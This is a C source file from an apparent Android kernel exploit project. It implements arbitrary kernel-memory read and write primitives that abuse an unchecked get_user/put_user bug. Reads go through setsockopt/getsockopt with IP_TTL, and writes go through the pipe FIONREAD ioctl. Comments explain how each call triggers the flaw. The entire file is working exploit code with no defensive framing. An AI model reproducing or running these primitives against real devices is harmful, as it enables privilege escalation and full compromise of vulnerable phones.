android/put_user_exploit/lib_put_user.c
#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <errno.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/ioctl.h>
#include "log.h"
#include "lib_put_user.h"


// Read a 4-byte value from a specified arbitrary source address
int read_value_at_address(unsigned long int address, unsigned long int *value) {
  int sock;
  int ret;
  int i;
  unsigned long int addr = address; // Our kernel space pointer
  unsigned char *pval = (unsigned char *)value;
  socklen_t optlen = 1;

  *value = 0;
  errno = 0;

  // Create a socket. We need it just to trigger the vuln. We don't need use it.
  sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
  if (sock < 0) 
    return -1;

  // Get the value byte by byte
  for (i = 0; i < sizeof(*value); i++, addr++, pval++) {
    errno = 0;
    
    // Trigger the vuln:
    // We set the TTL for the socket. The value is written in the socket struct using the vulnerable
    // get_user() func. For this reason we can set an arbitrary address as the source containing the
    // TTL value to be set. With the IP_TTL option only the rightmost byte is considered. For this reason
    // we need to trigger the vuln 4 times.

    ret = setsockopt(sock, SOL_IP, IP_TTL, (void *)addr, 1);
    if (ret != 0) {
      if (errno != EINVAL) {
	close(sock);
	*value = 0;
	return -1;
      }
    }
    errno = 0;

    // At this point the TTL is set as the value pointed by out arbitrary address (so a pointer in the
    // kernel space :-) ). We can just ask for it to retrieve an arbitrary kernel space value.

    ret = getsockopt(sock, SOL_IP, IP_TTL, pval, &optlen);
    if (ret != 0) {
      close(sock);
      *value = 0;
      return -1;
    }
  }
  
  close(sock);
  
  return 0;
}


// Write a 4-byte value at an arbitrary address (i.e: a kernel space address :) )
bool write_value_at_address(unsigned long address, int value) {
  char data[4];
  int pfd[2];
  int i;

  *(int *)&data = value;

  if (pipe(pfd) == -1) 
    return false;


  for (i = 0; i < sizeof (data); i++) {
    sleep(0.3);

    char buf[256];

    buf[0] = 0;

    // Here we trigger the vulnerable put_user() function to write in the kernel space
    // Write n bytes in the writing side of the pipe where n is the 1-byte value we want to write
    if (data[i]) {
      if (write(pfd[1], buf, data[i]) != data[i]) {
        LOGD("error in write().\n");
        return false;
      }
      LOGD("Write OK\n");
    }

    // Now ask to the kernel to write in a location how many byte are pending for reading. 
    // Here we trigger the vuln because no check is performed on the destination address.
    if (ioctl(pfd[0], FIONREAD, (void *)(address + i)) == -1) {
      perror("ioctl");
      return false;
    }
    LOGD("ioctl OK\n");

    // Empty the pipe and go on.
    if (data[i]) {
      if (read(pfd[0], buf, sizeof buf) != data[i]) {
        LOGD("error in read().\n");
	return false;
      }
      LOGD("read OK\n");
    }
  }

  close(pfd[0]);
  close(pfd[1]);

  // Check if we were able to write the value
  return i == sizeof(data);
}
